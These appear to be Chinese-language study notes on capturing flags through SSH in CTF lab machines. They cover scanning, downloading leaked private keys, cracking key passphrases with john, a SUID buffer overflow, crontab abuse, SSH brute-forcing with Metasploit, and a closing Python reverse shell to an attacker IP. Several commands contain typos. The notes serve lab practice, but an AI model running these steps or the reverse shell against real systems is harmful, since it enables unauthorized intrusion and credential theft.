1.CTF-SSH私钥泄露
- 挖掘开放服务信息 namp –sV IP地址
- 根据挖掘到的端口信息分析服务器开放的服务信息
- 若发现服务器开放web服务,使用命令 dirb http://ip:port/ 对这个服务的隐藏文件进行探测
- 根据找到的隐藏文件进行分析,注意robots.txt这个文件
- 若探测存在./ssh文件夹,则联想是否存在ssh,ssh链接需要私钥Id_rsa,和公钥Id_ras_pub,认证关键字文件authorized_key,分别在浏览器地址栏http://Ip:port/.ssh/加三个文件名进行下载
- linux查看当前文件夹命令: ls 查看当前文件夹下文件可读写权限命令 : ls –alh
- linux更改文件权限命令:chmod 600 文件名,即可修改文件权限为可读可写权限
- 打开认证关键字文件authorized_key,文件最后simen@covfefe前面的就是simen用户名
- kali 链接ssh命令 ssh –i id_rsa simen@IP地址,回车以后需要输入密码,下一步使用ssh2john对私钥信息破解,将私钥转换成john可以识别的信息
- ssh2john转换命令:ssh2john id_rsa>isacrack,
- 转换完成利用密码解密isacrack信息,命令 zcat /usr/share/wordlists/rockyou.txt.gz|john –-pipe –-rules isacrack 密码本地址:/usr/share/wordlists/rockyou.txt.gz
- 发现密码
- 再次连接ssh :ssh –i id_rsa simen@IP地址 输入密码,成功连接,登陆成功
- 使用pwd命令用于显示工作目录,发现没有key文件,所以进一步探测
- CTF多注意root根目录,用 cd /root进入root文件夹发现flag.txt但却没有root权限,则需要提升权限
- 查找具有root权限的文件 find / –perm –4000 2>/dev/null
- 发现read_message.c并查看
- 分析代码发现,首先通过键盘接收一个名字,然后与authorized对比前五个字符,若一样且出现溢出执行message这个程序,构建SimonAAAAAAAAAAAAAAA/bin/sh提升权限
- 通过溢出操作获得root权限,cat flag.txt读取flag
2.SSH服务夺旗
- SSH是基于TCP 22端口服务
- 大部分CTF比赛中,私钥Id_rsa,和公钥Id_ras_pub,认证关键字文件authorized_key,名字基本固定
- SSH协议的验证机制弱点
- 基于口令的安全验证:基于字典的暴力破解,破解对应用户名和密码,通过ssH客户端连接到远程主机的ssH服务,实现对服务器的一定控制。(不一定是root权限)
- 基于密钥的安全验证:通过对主机信息收集,获取到泄露的用户名和对应的密钥。 修改权限chmod 600 id_rsa,连接ssh -i id_rsa用户名@主机地址 登陆服务器。(不一定是root权限),使用方法上面1中类似
- 展开攻击
尝试基于密钥的安全验证
- 信息探测
- 对于给定lP地址的靶场机器,对其进行渗透测试,首先需要考虑靶场机器开放的服务。
- 探测靶场开放的服务与服务的版本 -- nmap –sV 靶场IP地址
- 探测靶场全部信息 --nmap -A-v 靶场lP地址
- 探测靶场的操作系统类型与版本 --nmap –o 靶场IP地址
- 使用命令 dirb http://ip:port/ 对这个服务的隐藏文件进行探测
- 对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;-- nikto -host靶场IP地址,特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;
- 对挖掘到的ssh密钥利用
- 下载文件 wegt”域名地址”
- 修改id_rsa的权限 chmod 600 id_rsa
- 利用私钥登陆服务器 ssh -i id_rsa用户名@靶场lP地址
- 提升权限
- 一般情况下flag只属于root用户组
- 通过使用以下命令进行探测试图提升权限,发现并没有可用信息
- 深入挖掘数据
- 通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务
- cat/etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
- 如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
- 如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
- 反弹shell
- 靶场代码
- 攻击机netcat命令 :
- 查看占用端口 netstat-pantu
- 监听端口: nc -lpv未占用端口
- 反弹以后使用whoami发现仍是普通用户,此方法失败
- 选择第二条路暴力破解
- 万不得已的时候只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具如hydra、medusa等;
- 利用cupp创建字典
- git clone https://github.com/jeanphorn/common-password.git
- -- chmod +x cupp.py
- -- ./cupp.py -i以交互的方式创建字典
- 一直回车最后一个选N
- 使用metasploit破解SSH
- -- msf > use auxiliary /scanner/ssh/ssh_login
- -- msf auxiliary(ssh_login) > set rhosts 192.168.1.137
- -- msf auxiliary(ssh_login) >set username hadi
- -- msf auxiliary(ssh_login) > set pass_file /root/Desktop/common-password/hadi .txt
- -- msf auxiliary(ssh_login) >run
- 破解成功会得到会话,获取会话 session –i 1
- 优化会话
python –c "inport pty; pty.spawn('/bin/bash')”
- 提升权限su – root。输入破解到的密码
- 总结:
在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场
机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
CTF中要特别注意/tmp数据缓冲目录以及/etc/crontab设置定时执行的文件
cat/etc/passwd 查看所有用户的列表
cat /etc/ group 查看用户组
find / –user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.sOCK_STREAM)
s.connect((“攻击机IP地址”,攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh”,"-i'])